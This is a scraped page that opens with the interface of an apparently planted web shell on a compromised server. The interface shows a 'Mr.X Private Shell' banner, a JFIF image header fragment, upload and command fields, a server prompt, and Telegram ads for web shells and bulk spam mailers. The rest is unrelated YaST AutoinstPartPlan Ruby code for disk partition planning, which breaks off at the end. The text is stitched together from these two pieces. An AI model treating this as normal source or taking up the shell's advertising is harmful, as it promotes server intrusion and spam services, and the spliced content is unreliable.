xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/AutoinstCommon.ycp
# Package:	Auto-installation/Partition
# Summary:	Module representing a partitioning plan
# Author:	Sven Schober (sschober@suse.de)
#
# $Id: AutoinstPartPlan.ycp 2813 2008-06-12 13:52:30Z sschober $
require "yast"

module Yast
  class AutoinstPartPlanClass < Module
    def main
      Yast.import "UI"
      textdomain "autoinst"

      Yast.include self, "autoinstall/autopart.rb"
      Yast.include self, "autoinstall/types.rb"
      Yast.include self, "autoinstall/common.rb"
      Yast.include self, "autoinstall/tree.rb"

      Yast.import "AutoinstCommon"
      Yast.import "AutoinstDrive"
      Yast.import "AutoinstPartition"
      Yast.import "Summary"
      Yast.import "Popup"
      Yast.import "Mode"
      Yast.import "StorageDevices"
      Yast.import "Storage"
      Yast.import "Partitions"
      Yast.import "FileSystems"
      Yast.import "Arch"

      # The general idea with this moduls is that it manages a single
      # partition plan (AutoPartPlan) and the user can work on that
      # plan without having to sepcify that variable on each method
      # call.
      # This is on the one hand convenient for the user and on the
      # other hand we have control over the plan.

      # PRIVATE

      # The single plan instance managed by this module.
      #
      # The partition plan is technically a list of DriveT'.
      @AutoPartPlan = []

      # default value of settings modified
      @modified = false

    end

    # Function sets internal variable, which indicates, that any
    # settings were modified, to "true"
    def SetModified
      Builtins.y2milestone("SetModified")
      @modified = true

      nil
    end

    # Functions which returns if the settings were modified
    #
    # @return [Boolean]  settings were modified
    def GetModified
      @modified
    end

    # Select a drive by its ID, as in the tree item strings (e.g.
    # "drive_1" -> ID = 1).
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan
    # @param [Fixnum] which ID of the drive to return
    #
    # @return The drive with the specified id, or the an empty map if
    # no drive with that id exists.

    def internalGetDrive(plan, which)
      plan = deep_copy(plan)
      result = {}
      Builtins.foreach(plan) do |currentDrive|
        if which == Ops.get_integer(currentDrive, "_id", -1)
          result = deep_copy(currentDrive)
          raise Break
        end
      end
      deep_copy(result)
    end

    # Select a drive by its position in the drive list (a.k.a
    # partition plan).
    #
    # @param [Array<Hash{String => Object>}] plan Partition plan.
    # @param [Fixnum] index Index of drive in the list
    #
    # @return The spcified drive, or an empty map if the index wasn't
    # valid.

    def internalGetDriveByListIndex(plan, index)
      plan = deep_copy(plan)
      Ops.get(plan, index, {})
    end

    # Get a list index for a drive id.
    #
    # @param [Array<Hash{String => Object>}] plan Partition plan.
    # @param [Fixnum] which the drive id.
    #
    # @return The list index or -1 if id wasn't found.

    def internalGetListIndex(plan, which)
      plan = deep_copy(plan)
      index = 0
      found = false
      Builtins.foreach(plan) do |currentDrive|
        currentID = Ops.get_integer(currentDrive, "_id", -1)
        if which == currentID
          found = true
          raise Break
        end
        index = Ops.add(index, 1)
      end
      return index if found
      -1
    end

    # ==========
    #  Mutators
    # ==========

    # Add a drive to the partition plan.
    #
    # @param [Array<Hash{String => Object>}] plan Partition plan.
    # @param [Hash{String => Object}] drive The drive to be added
    #
    # @return The partition plan containing the new drive.

    def internalAddDrive(plan, drive)
      plan = deep_copy(plan)
      drive = deep_copy(drive)
      if AutoinstDrive.isDrive(drive)
        # TODO: implement insertion constraints
        return Builtins.add(plan, drive)
      else
        Builtins.y2error("No valid drive '%1'.", drive)
      end

      nil
    end

    # Remove a drive from the plan.
    #
    # @param [Array<Hash{String => Object>}] plan Partition plan.
    # @param [Fixnum] which The id of the drive to remove.
    #
    # @return The partition plan lacking the drive that was removed if
    # it was present.

    def internalRemoveDrive(plan, which)
      plan = deep_copy(plan)
      result = []
      drive = internalGetDrive(plan, which)
      result = Builtins.filter(plan) do |curDrive|
        Ops.get_integer(drive, "_id", 100) !=
          Ops.get_integer(curDrive, "_id", 111)
      end
      deep_copy(result)
    end

    # Update a drive in the partition plan.
    #
    # @param [Array<Hash{String => Object>}] plan Partition plan.
    # @param [Hash{String => Object}] drive The drive to be updated.
    #
    # @return Partition plan containing the updated drive.

    def internalUpdateDrive(plan, drive)
      plan = deep_copy(plan)
      drive = deep_copy(drive)
      if AutoinstDrive.isDrive(drive)
        plan = Builtins.maplist(@AutoPartPlan) do |curDrive|
          if Ops.get_integer(curDrive, "_id", 100) ==
              Ops.get_integer(drive, "_id", 111)
            next deep_copy(drive)
          else
            next deep_copy(curDrive)
          end
        end
      else
        Builtins.y2error("No valid drive: '%1'", drive)
      end
      deep_copy(plan)
    end

    # Get a list of all drives, that are of a volgroup type.
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan.
    #
    # @return Partition plan containing only volgroups.

    def internalGetAvailableVolgroups(plan)
      plan = deep_copy(plan)
      result = []
      result = Builtins.filter(@AutoPartPlan) do |curDrive|
        Ops.get_symbol(curDrive, "type", :CT_DISK) != :CT_DISK
      end
      deep_copy(result)
    end

    # Get a list of all physical (not volgroup) drives.
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan.
    #
    # @return Partition plan containing only physical drives.

    def internalGetAvailablePhysicalDrives(plan)
      plan = deep_copy(plan)
      result = []
      result = Builtins.filter(@AutoPartPlan) do |curDrive|
        Ops.get_symbol(curDrive, "type", :CT_LVM) == :CT_DISK
      end
      deep_copy(result)
    end

    # Get a list of used mountpoint strings.
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan.
    #
    # @return A list of mountpoint strings in use by any partition.

    def internalGetUsedMountPoints(plan)
      plan = deep_copy(plan)
      result = []
      Builtins.foreach(plan) do |drive|
        Builtins.foreach(Ops.get_list(drive, "partitions", [])) do |part|
          mountPoint = Ops.get_string(part, "mount", "")
          result = Builtins.add(result, mountPoint) if "" != mountPoint
        end
      end
      Builtins.y2milestone("Used mount points: '%1'", result)
      deep_copy(result)
    end

    # Volume group checks:
    #	- check that each VG has at least one PV
    #   - <others to be implemented>
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan
    #
    # @return true if each volume group has a supplying physical
    # volume.

    def internalCheckVolgroups(plan)
      plan = deep_copy(plan)
      sane = true
      # Check that each volume group has at least
      # one physical volume
      volGroups = internalGetAvailableVolgroups(plan)
      physDrives = internalGetAvailablePhysicalDrives(plan)
      Builtins.foreach(volGroups) do |volGroup|
        # check all physical drives for physical volumes
        # "feeding" current volume group
        found = false
        volGroupName = removePrefix(
          Ops.get_string(volGroup, "device", "xyz"),
          "/dev/"
        )
        Builtins.foreach(physDrives) do |physDrive|
          Builtins.foreach(Ops.get_list(physDrive, "partitions", [])) do |part|
            if volGroupName == Ops.get_string(part, "lvm_group", "zxy")
              found = true
              Builtins.y2milestone(
                "Found 'feeding' partition for volume group '%1'",
                volGroupName
              )
            end
          end
        end
        # if no feeder (PV) was found for current volume group
        # the next instructions taints result
        if !found
          Popup.Error(
            Builtins.sformat(
              _(
                "Volume group '%1' must have at least one physical volume. Provide one."
              ),
              volGroupName
            )
          )
        end
        sane = found
      end
      sane
    end

    # Check the sanity of the partition plan.
    #
    # @param [Array<Hash{String => Object>}] plan The partition plan
    #
    # @return true if plan is sane, false otherwise.

    def internalCheckSanity(plan)
      plan = deep_copy(plan)
      sane = true
      sane = internalCheckVolgroups(plan)
      # ...
      sane
    end

    # Create tree structure from AutoPartPlan
    def updateTree
      Builtins.y2milestone("entering updateTree")
      # remember selected tree item
      item = currentTreeItem
      tree = []
      # let tree widget reflect AutoPartPlan
      Builtins.foreach(@AutoPartPlan) do |drive|
        tree = Builtins.add(tree, AutoinstDrive.createTree(drive))
      end
      Builtins.y2milestone("Setting tree: '%1'", tree)
      if Ops.greater_than(Builtins.size(@AutoPartPlan), 0)
        setTree(tree)
        # restore former selection
        if nil != item && "" != item
          Builtins.y2milestone("reselecting item '%1' after tree update.", item)
          selectTreeItem(item)
        else
          firstDrive = internalGetDriveByListIndex(@AutoPartPlan, 0)
          selectTreeItem(AutoinstDrive.getNodeReference(firstDrive))
        end
      end

      nil
    end


    # Create a partition plan for the calling client
    # @return [Array] partition plan
    def ReadHelper
      Mode.SetMode("normal")
      StorageDevices.InitDone
      _StorageMap = Builtins.eval(Storage.GetTargetMap)
      FileSystems.read_default_subvol_from_target

      _StorageMap = _StorageMap.select do |d, p|
        ok = true
        if( d == "/dev/nfs" && p["partitions"] != nil)
          # Checking if /dev/nfs container has a root partition.
          # If yes, it can be taken for the plan (bnc#986124)
          ok = p["partitions"].any?{ |part| part["mount"] == "/" }
        end
	if( ok && p.fetch("partitions", []).size==0 )
	  ok = p.fetch("used_by_type",:UB_NONE)==:UB_LVM
	end
	ok
      end
      Builtins.y2milestone("Storagemap %1", _StorageMap)

      drives = Builtins.maplist(_StorageMap) do |k, v|
        partitions = []
        winp = []
        no_format_list = [65, 6, 222]
        no_create_list = [222]
        usepartitions = []
        cyl_size = Ops.get_integer(v, "cyl_size", 0)
        no_create = false
        Builtins.foreach(Ops.get_list(v, "partitions", [])) do |pe|
          next if Ops.get_symbol(pe, "type", :x) == :extended
          new_pe = {}

          # Handling nfs root partitions. (bnc#986124)
          if pe["type"] == :nfs
            new_pe["type"] = pe["type"]
            new_pe["device"] = pe["device"]
            new_pe["mount"] = pe["mount"]
            new_pe["fstopt"] = pe["fstopt"]
            partitions << new_pe
          end
          next if pe["type"] == :nfs

          Ops.set(new_pe, "create", true)
          new_pe["ignore_fstab"] = pe["ignore_fstab"] if pe.has_key?("ignore_fstab")
          skipwin = false
          if Builtins.haskey(pe, "enc_type")
            Ops.set(
              new_pe,
              "enc_type",
              Ops.get_symbol(pe, "enc_type", :twofish)
            )
            Ops.set(new_pe, "crypt_key", "ENTER KEY HERE")
            Ops.set(new_pe, "loop_fs", true)
            Ops.set(new_pe, "crypt_fs", true)
          end
          if Builtins.haskey(pe, "fsid")
            fsid = Ops.get_integer(pe, "fsid", 131)
            wintypes = Builtins.union(
              Partitions.fsid_wintypes,
              Partitions.fsid_dostypes
            )
            allwin = Builtins.union(wintypes, Partitions.fsid_ntfstypes)
            if Builtins.contains(allwin, fsid) &&
                !Builtins.issubstring(Ops.get_string(pe, "mount", ""), "/boot") &&
                  !Ops.get_boolean(pe, "boot", false)
              #                    if (contains(allwin, fsid) && ! issubstring(pe["mount"]:"", "/boot") )
              Builtins.y2debug("Windows partitions found: %1", fsid)
              winp = Builtins.add(winp, Ops.get_integer(pe, "nr", 0))
              skipwin = true
              no_create = true if Ops.greater_than(Builtins.size(partitions), 0)
            end
            if Builtins.contains(allwin, fsid) &&
                Builtins.issubstring(Ops.get_string(pe, "mount", ""), "/boot")
              Ops.set(new_pe, "partition_id", 259)
            else
              Ops.set(new_pe, "partition_id", Ops.get_integer(pe, "fsid", 131))
            end
            if Builtins.contains(no_format_list, Ops.get_integer(pe, "fsid", 0))
              Ops.set(new_pe, "format", false)
            end
            if Builtins.contains(no_create_list, Ops.get_integer(pe, "fsid", 0))
              Ops.set(new_pe, "create", false)
            end
          end
          # Consider the partition type when dealing with 'msdos' partition tables (bsc#1091415)
          if Builtins.haskey(pe, "type") && v["label"] == "msdos"
            Ops.set(new_pe, "partition_type", pe["type"].to_s)
          end
          if Builtins.haskey(pe, "region") &&
              Ops.get_boolean(new_pe, "create", true) == true
            # don't clone the exact region.
            # I don't see any benefit in cloning that strict.
            #new_pe["region"] = pe["region"]:[];
            #                    new_pe["size"] = sformat("%1", pe["size_k"]:0*1024);
            if Ops.less_than(
                Ops.subtract(
                  Ops.multiply(Ops.get_integer(pe, "size_k", 0), 1024),
                  cyl_size
                ),
                cyl_size
              ) # bnc#415005
              Ops.set(new_pe, "size", Builtins.sformat("%1", cyl_size))
            else
              Ops.set(
                new_pe,
                "size",
                Builtins.sformat(
                  "%1",
                  Ops.subtract(
                    Ops.multiply(Ops.get_integer(pe, "size_k", 0), 1024),
                    cyl_size
                  )
                )
              )
            end # one cylinder buffer for #262535
          end
          if Builtins.haskey(pe, "label")
            Ops.set(new_pe, "label", Ops.get_string(pe, "label", ""))
          end
          if Builtins.haskey(pe, "mountby")
            Ops.set(new_pe, "mountby", Ops.get_symbol(pe, "mountby", :nomb))
          end
          if Builtins.haskey(pe, "fstopt")
            Ops.set(new_pe, "fstopt", Ops.get_string(pe, "fstopt", "defaults"))
          end
          # LVM Group
          if Builtins.haskey(pe, "used_by_type") &&
              Ops.get_symbol(pe, "used_by_type", :nothing) == :UB_LVM
            Ops.set(
              new_pe,
              "lvm_group",
              Builtins.substring(Ops.get_string(pe, "used_by_device", ""), 5)
            )
          end
          # LV
          if Ops.get_symbol(pe, "type", :unknown) == :lvm
            Ops.set(new_pe, "lv_name", Ops.get_string(pe, "name", ""))
            Ops.set(
              new_pe,
              "size",
              Builtins.sformat(
                "%1",
                Ops.multiply(Ops.get_integer(pe, "size_k", 0), 1024)
              )
            )
            if Builtins.haskey(pe, "stripes")
              Ops.set(new_pe, "stripes", Ops.get_integer(pe, "stripes", 0))
              Ops.set(
                new_pe,
                "stripesize",
                Ops.get_integer(pe, "stripesize", 4)
              )
            end
          end
          if Builtins.haskey(pe, "used_by_type") &&
              Ops.get_symbol(pe, "used_by_type", :nothing) == :UB_MD
            Ops.set(
              new_pe,
              "raid_name",
              Ops.get_string(pe, "used_by_device", "")
            )
          end
          # Used Filesystem
          # Raid devices get the filesystem lying on them as
          # detected_fs!
          if Builtins.haskey(pe, "used_fs") &&
              Ops.get_integer(pe, "fsid", 0) != 253
            Ops.set(new_pe, "filesystem", Ops.get_symbol(pe, "used_fs") do
              Partitions.DefaultFs
            end)
            Ops.set(
              new_pe,
              "format",
              Ops.get_boolean(
                new_pe,
                "format",
                Ops.get_boolean(pe, "format", true)
              )
            )
          end
          if Ops.get_boolean(new_pe, "format", false) &&
              !Builtins.isempty(Ops.get_string(pe, "mkfs_options", ""))
            Ops.set(
              new_pe,
              "mkfs_options",
              Ops.get_string(pe, "mkfs_options", "")
            )
          end
          # Subvolumes
          # Save possibly existing subvolumes
          if !pe.fetch("subvol", []).empty?
            defsub = ""
            if !FileSystems.default_subvol.empty?
              defsub = FileSystems.default_subvol + "/"
            end
            new_pe["subvolumes"] = pe.fetch("subvol", []).map { |s| export_subvolume(s, defsub) }

            Ops.set(
              new_pe,
              "subvolumes",
              Builtins.filter(Ops.get_list(new_pe, "subvolumes", [])) do |s|
                !Builtins.isempty(s)
              end
            )
          end
          # Handle thin stuff
          Ops.set(new_pe, "pool", true) if Ops.get_boolean(pe, "pool", false)
          if !Builtins.isempty(Ops.get_string(pe, "used_pool", ""))
            Ops.set(new_pe, "used_pool", Ops.get_string(pe, "used_pool", ""))
          end
          # if the filesystem is unknown, we have detected_fs and no longer used_fs
          # don't know why yast2-storage is having two keys for that.
          # maybe it would be even okay to look only for "detected_fs" to set format to false
          # bnc#542331 (L3: AutoYaST clone module fails to set format option for non-formatted logical volumes)
          if Ops.get_symbol(pe, "detected_fs", :known) == :unknown
            Ops.set(new_pe, "format", false)
          end
          if Builtins.haskey(pe, "nr") &&
              Ops.get_symbol(pe, "type", :unknown) != :lvm
            if !skipwin
              Builtins.y2debug(
                "Adding partition to be used: %1",
                Ops.get_integer(pe, "nr", 0)
              )
              usepartitions = Builtins.add(
                usepartitions,
                Ops.get_integer(pe, "nr", 0)
              )
            end
            Ops.set(new_pe, "partition_nr", Ops.get_integer(pe, "nr", 0))
          end
          if Ops.get_string(pe, "mount", "") != ""
            Ops.set(new_pe, "mount", Ops.get_string(pe, "mount", ""))
          end
          if k == "/dev/md"
            raid_options = {}
            raid_options["persistent_superblock"] = pe.fetch("persistent_superblock",false)
            raid_options["raid_type"] = pe.fetch("raid_type", "raid0")
            raid_options["device_order"] = pe.fetch("devices",[])
	    if pe["device"].start_with?("/dev/md/")
	      raid_options["raid_name"] = pe["device"]
	    end
            new_pe["raid_options"]=raid_options
          end
          if !skipwin && Ops.get_integer(new_pe, "partition_id", 0) != 15
            partitions = Builtins.add(partitions, new_pe)
          end
        end
        # don't create partitions that are between windows partitions
        # they must exist
        drive = {}
        Ops.set(drive, "type", Ops.get_symbol(v, "type", :CT_DISK))
        # A disklabel for the container of NFS mounts is useless.
        Ops.set(drive, "disklabel", Ops.get_string(v, "label", "msdos")) unless drive["type"] == :CT_NFS
        if no_create
          partitions = Builtins.maplist(
            Convert.convert(partitions, :from => "list", :to => "list <map>")
          ) do |m|
            Ops.set(m, "create", false)
            deep_copy(m)
          end
        end
	if( v.fetch("used_by_type",:UB_NONE)==:UB_LVM && partitions.empty? )
	  partitions = [{ "partition_nr" => 0, "create" => false,
	                  "lvm_group" => v.fetch("used_by_device", "")[5..-1],
			  "size" => "max" }]
	  Builtins.y2milestone( "lvm full disk v:%1", v )
	  Builtins.y2milestone( "lvm full disk p:%1", partitions )
	end
        Ops.set(drive, "partitions", partitions)
        if Arch.s390 && Ops.get_symbol(v, "type", :CT_DISK) == :CT_DISK
          Ops.set(
            drive,
            "device",
            Ops.add("/dev/disk/by-path/", Ops.get_string(v, "udev_path", k))
          )
          Builtins.y2milestone(
            "s390 found. Setting device to by-path: %1",
            Ops.get_string(drive, "device", "")
          )
        else
          Ops.set(drive, "device", k)
        end
        if Ops.get_symbol(v, "type", :CT_UNKNOWN) == :CT_LVM
          Ops.set(
            drive,
            "pesize",
            Builtins.sformat(
              "%1M",
              Ops.divide(Ops.get_integer(v, "pesize", 1), 1024 * 1024)
            )
          )
          Ops.set(drive, "type", :CT_LVM)
        end
        if Builtins.haskey(v, "lvm2") && Ops.get_boolean(v, "lvm2", false)
          Ops.set(drive, "lvm2", true)
        end
        if Ops.greater_than(Builtins.size(partitions), 0)
          if Builtins.size(winp) == 0
            Ops.set(drive, "use", "all")
          else
            up = []
            Builtins.foreach(usepartitions) do |i|
              up = Builtins.add(up, Builtins.sformat("%1", i))
            end
            Ops.set(drive, "use", Builtins.mergestring(up, ","))
          end
        end
        deep_copy(drive)
      end

      drives = Builtins.filter(
        Convert.convert(drives, :from => "list", :to => "list <map>")
      ) do |v|
        keep = false
        Builtins.foreach(Ops.get_list(v, "partitions", [])) do |p|
          if Ops.get_string(p, "mount", "") != "" ||
              Builtins.haskey(p, "lvm_group") ||
              Builtins.haskey(p, "raid_name")
            keep = true
            raise Break
          end
        end
        keep
      end

      Mode.SetMode("autoinst_config")
      deep_copy(drives)
    end


    # PUBLIC INTERFACE

    # INTER FACE TO CONF TREE

    # Return summary of configuration
    # @return  [String] configuration summary dialog
    def Summary
      summary = ""
      summary = Summary.AddHeader(summary, _("Drives"))
      unless @AutoPartPlan.empty?
        # We are counting harddisks only (type CT_DISK)
        num = @AutoPartPlan.count{|drive| drive["type"] == :CT_DISK }
        summary = Summary.AddLine(
          summary,
          (n_("%s drive in total", "%s drives in total", num) % num)
        )
        summary = Summary.OpenList(summary)
        Builtins.foreach(@AutoPartPlan) do |drive|
          driveDesc = AutoinstDrive.getNodeName(drive, true)
          summary = Summary.AddListItem(summary, driveDesc)
          summary = Summary.OpenList(summary)
          Builtins.foreach(Ops.get_list(drive, "partitions", [])) do |part|
            summary = Summary.AddListItem(
              summary,
              AutoinstPartition.getPartitionDescription(part, true)
            )
          end
          summary = Summary.CloseList(summary)
          summary = Summary.AddNewLine(summary)
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine( summary,
          _("Not yet cloned.")
        )
      end
      summary
    end

    # Get all the configuration from a map.
    # When called by inst_auto<module name> (preparing autoinstallation data)
    # the list may be empty.
    # @param [Array<Hash>] settings a list	[...]
    # @return	[Boolean] success
    def Import(settings)
      settings = deep_copy(settings)
      Builtins.y2milestone("entering Import with %1", settings)

      # Filter out all tmpfs that have not been defined by the user.
      # User created entries are defined in the fstab only.
      tmpfs_devices = settings.select { |device| device["type"] == :CT_TMPFS }
      tmpfs_devices.each do |device|
        if device["partitions"]
          device["partitions"].delete_if { |partition| partition["ignore_fstab"] }
        end
      end

      # It makes no sense to have tmpfs dummy containers which have no partitions.
      # E.g. the partitions have been filtered because they have not been defined
      # by the user.
      # (bnc#887318)
      settings.delete_if { |device|
        device["type"] == :CT_TMPFS && (!device["partitions"] || device["partitions"].empty? )
      }

      @AutoPartPlan = []
      _IgnoreTypes = [:CT_BTRFS]
      Builtins.foreach(settings) do |drive|
        if !Builtins.contains(
            _IgnoreTypes,
            Ops.get_symbol(drive, "type", :CT_DISK)
          )
          newDrive = AutoinstDrive.parseDrive(drive)
          if AutoinstDrive.isDrive(newDrive)
            @AutoPartPlan = internalAddDrive(@AutoPartPlan, newDrive)
          else
            Builtins.y2error("Couldn't construct DriveT from '%1'", drive)
          end
        else
          Builtins.y2milestone(
            "Ignoring Container type '%1'",
            Ops.get_symbol(drive, "type", :CT_DISK)
          )
        end
      end
      true
    end

    def Read
      Import(
        Convert.convert(ReadHelper(), :from => "list", :to => "list <map>")
      )
    end

    # Dump the settings to a map, for autoinstallation use.
    # @return [Array]
    def Export
      Builtins.y2milestone("entering Export")
      drives = Builtins.maplist(@AutoPartPlan) do |drive|
        AutoinstDrive.Export(drive)
      end

      clean_drives = Builtins.maplist(drives) do |d|
        p = Builtins.maplist(Ops.get_list(d, "partitions", [])) do |part|
          part = Builtins.remove(part, "fsid") if Builtins.haskey(part, "fsid")
          if Builtins.haskey(part, "used_fs")
            part = Builtins.remove(part, "used_fs")
          end
          deep_copy(part)
        end
        Ops.set(d, "partitions", p)
        # this is to delete the dummy "auto" filled in by UI
        if Builtins.haskey(d, "device") &&
            Ops.get_string(d, "device", "") == "auto"
          d = Builtins.remove(d, "device")
          Builtins.y2milestone("device 'auto' dropped")
        end
        deep_copy(d)
      end

      deep_copy(clean_drives)
    end

    def Reset
      @AutoPartPlan = []

      nil
    end

    # =============================
    #  General info about the plan
    # =============================

    # Get a list of mount point strings that are currently not in use
    #
    # @return List of currently unused mount points

    def getAvailableMountPoints
      usedMountPoints = internalGetUsedMountPoints(@AutoPartPlan)
      availableMountPoints = []
      availableMountPoints = Builtins.filter(
        AutoinstPartition.getDefaultMountPoints
      ) { |mp| !Builtins.contains(usedMountPoints, mp) }
      Builtins.y2milestone("Available mount points: '%1'", availableMountPoints)
      deep_copy(availableMountPoints)
    end

    # Get the next free/unused mount point string.
    #
    # @return Next free mount point string.

    def getNextAvailableMountPoint
      availableMountPoints = getAvailableMountPoints
      Ops.get(availableMountPoints, 0, "")
    end
    # Get list of (device) names of volume groups present in the
    # plan.
    #
    # @return List of currently present volume group device names.

    def getAvailableVolgroups
      Builtins.maplist(internalGetAvailableVolgroups(@AutoPartPlan)) do |vg|
        Ops.get_string(vg, "device", "not-set")
      end
    end

    # Triggers a sanity check over the current state of the plan.
    #
    # @return true if plan is sane, false otherwise.

    def checkSanity
      internalCheckSanity(@AutoPartPlan)
    end

    # ==================
    #  DRIVE OPERATIONS
    # ==================

    # Get drive identified by id (as in the tree node strings
    # ["device_1"]). Caution: this is not the same as the index (see
    # getDriveByListIndex()), as the id never changes, independent of
    # the position of this drive in the list.
    #
    # @param [Fixnum] which ID of drive to acquire.
    #
    # @return The drive identified by ID if a drive with that ID
    # exists; and empty list otherwise.

    def getDrive(which)
      internalGetDrive(@AutoPartPlan, which)
    end

    # Get drive identified by its position in the partition plan.
    #
    # @param [Fixnum] index The list index identifying the drive.
    #
    # @return The drive identifyied by index, the empty list
    # otherwise.

    def getDriveByListIndex(index)
      internalGetDriveByListIndex(@AutoPartPlan, index)
    end

    # Returns the number of drives present in plan.
    #
    # @return Number of drives present in plan.

    def getDriveCount
      Builtins.size(@AutoPartPlan)
    end

    # Remove drive identified by drive ID from the partition plan.
    # Selects preceeding drive, if deleted drive was last in list.
    # Otherwise the successor is selected.
    #
    # @param [Fixnum] which ID of drive to delete.

    def removeDrive(which)
      # most of the complexity here is due to correct
      # reselection behaviour after a drive has been deleted
      removalDriveIdx = internalGetListIndex(@AutoPartPlan, which)
      oldDriveCount = getDriveCount
      @AutoPartPlan = internalRemoveDrive(@AutoPartPlan, which)
      drive = {}
      if Ops.greater_than(oldDriveCount, 1) &&
          removalDriveIdx == Ops.subtract(oldDriveCount, 1)
        # lowest drive in tree was deleted, select predecessor
        drive = getDriveByListIndex(Ops.subtract(removalDriveIdx, 1))
      else
        # a top or middle one was deleted, select successor
        drive = getDriveByListIndex(removalDriveIdx)
      end
      selectTreeItem(AutoinstDrive.getNodeReference(drive))
      updateTree

      nil
    end

    # Add a new drive to the plan.
    #
    # @param [Hash{String => Object}] drive The new drive to add.

    def addDrive(drive)
      drive = deep_copy(drive)
      @AutoPartPlan = internalAddDrive(@AutoPartPlan, drive)
      updateTree
      deep_copy(drive)
    end

    # Update a drive in the plan. If the drive didn't exist in the
    # first place nothing happens (use add in that case).
    #
    # @param The drive to update.

    def updateDrive(drive)
      drive = deep_copy(drive)
      @AutoPartPlan = internalUpdateDrive(@AutoPartPlan, drive)
      updateTree

      nil
    end


    # ======================
    #  PARTITION OPERATIONS
    # ======================

    # Get partition identified by partitionIdx on drive with
    # specified id.
    #
    # Note: Partition index refers to the position of the partition in
    # the list on the drive and thus is subject to invalidation on any
    # modifications of that list.
    #
    # @param [Fixnum] driveId The integer id of the drive containing the
    # partition.
    # @param [Fixnum] partitionIdx Index of partition to get.
    #
    # @return The partition if driveId and partitionIdx were valid,
    # an empty map otherwise.

    def getPartition(driveId, partitionIdx)
      currentDrive = getDrive(driveId)
      Builtins.y2milestone("Loaded drive '%1'", currentDrive)
      AutoinstDrive.getPartition(currentDrive, partitionIdx)
    end

    # Update a partition on a drive.
    #
    # Note: Partition index refers to the position of the partition in
    # the list on the drive and thus is subject to invalidation on any
    # modifications of that list.
    #
    # @param [Fixnum] driveId The integer id of the drive containing the
    # partition.
    # @param [Fixnum] partitionIdx Index of the partition to update.
    # @param [Hash{String => Object}] partition The updated/new partition.
    #
    # @return true if update was successfull, false otherwise.

    def updatePartition(driveId, partitionIdx, partition)
      partition = deep_copy(partition)
      drive = getDrive(driveId)
      if AutoinstDrive.isDrive(drive)
        drive = AutoinstDrive.updatePartition(drive, partitionIdx, partition)
        updateDrive(drive)
        return true
      else
        Builtins.y2milestone(
          "Could not update partition. Invalid driveId: '%1'",
          driveId
        )
        return false
      end
    end

    # Create a new partition on a drive.
    #
    # The new partition is assinged a default mountpoint and a default
    # parition number, or, in case its parent drive is a LVM, a volume
    # name.
    #
    # @param [Fixnum] driveId The drive to create the new partition on.
    #
    # @return The index of the newly created partition.

    def newPartition(driveId)
      newPartitionIndex = -1
      parentDrive = getDrive(driveId)
      if AutoinstDrive.isDrive(parentDrive)
        mountPoint = getNextAvailableMountPoint
        newPartitionNumber = AutoinstDrive.getNextAvailablePartitionNumber(
          parentDrive
        )
        newPart = AutoinstPartition.new(mountPoint)
        newPart = AutoinstPartition.set(
          newPart,
          "partition_nr",
          newPartitionNumber
        )
        if :CT_DISK != Ops.get_symbol(parentDrive, "type", :Empty)
          newPart = AutoinstPartition.set(
            newPart,
            "lv_name",
            AutoinstPartition.getLVNameFor(mountPoint)
          )
        end
        parentDrive = AutoinstDrive.addPartition(parentDrive, newPart)
        newPartitionIndex = Ops.subtract(
          AutoinstDrive.getPartitionCount(parentDrive),
          1
        )
        updateDrive(parentDrive)
      else
        Builtins.y2error(
          "Cannot create new partition on invalid drive with id '%1'.",
          driveId
        )
      end
      newPartitionIndex
    end

    # Delete a partition on a drive.
    #
    # @param [Fixnum] driveId Drive containing the partition to be deleted.
    # @param [Fixnum] partitionIdx The partition index identifying the parition
    # to be deleted.
    #
    # @return true if removal was successfull, false otherwise.

    def deletePartition(driveId, partitionIdx)
      drive = getDrive(driveId)
      if AutoinstDrive.isDrive(drive)
        oldPartitionCount = AutoinstDrive.getPartitionCount(drive)
        drive = AutoinstDrive.removePartition(drive, partitionIdx)
        updateDrive(drive)
        if AutoinstDrive.getPartitionCount(drive) == 0
          # if no partitions are left select parent drive
          selectTreeItem(AutoinstDrive.getNodeReference(drive))
        elsif partitionIdx == Ops.subtract(oldPartitionCount, 1)
          # the removed partition was the last one
          selectTreeItem(
            Ops.add(
              Ops.add(Ops.add("part_", Builtins.tostring(driveId)), "_"),
              Builtins.tostring(Ops.subtract(partitionIdx, 1))
            )
          )
        end
        return true
      else
        Builtins.y2error(
          "Cannot delete partition on invalid drive with index '%1'.",
          driveId
        )
        return false
      end
    end

    publish :function => :SetModified, :type => "void ()"
    publish :function => :GetModified, :type => "boolean ()"
    publish :function => :updateTree, :type => "void ()"
    publish :function => :Summary, :type => "string ()"
    publish :function => :Import, :type => "boolean (list <map>)"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :Export, :type => "list <map> ()"
    publish :function => :Reset, :type => "void ()"
    publish :function => :getAvailableMountPoints, :type => "list <string> ()"
    publish :function => :getNextAvailableMountPoint, :type => "string ()"
    publish :function => :getAvailableVolgroups, :type => "list <string> ()"
    publish :function => :checkSanity, :type => "boolean ()"
    publish :function => :getDrive, :type => "map <string, any> (integer)"
    publish :function => :getDriveByListIndex, :type => "map <string, any> (integer)"
    publish :function => :getDriveCount, :type => "integer ()"
    publish :function => :removeDrive, :type => "void (integer)"
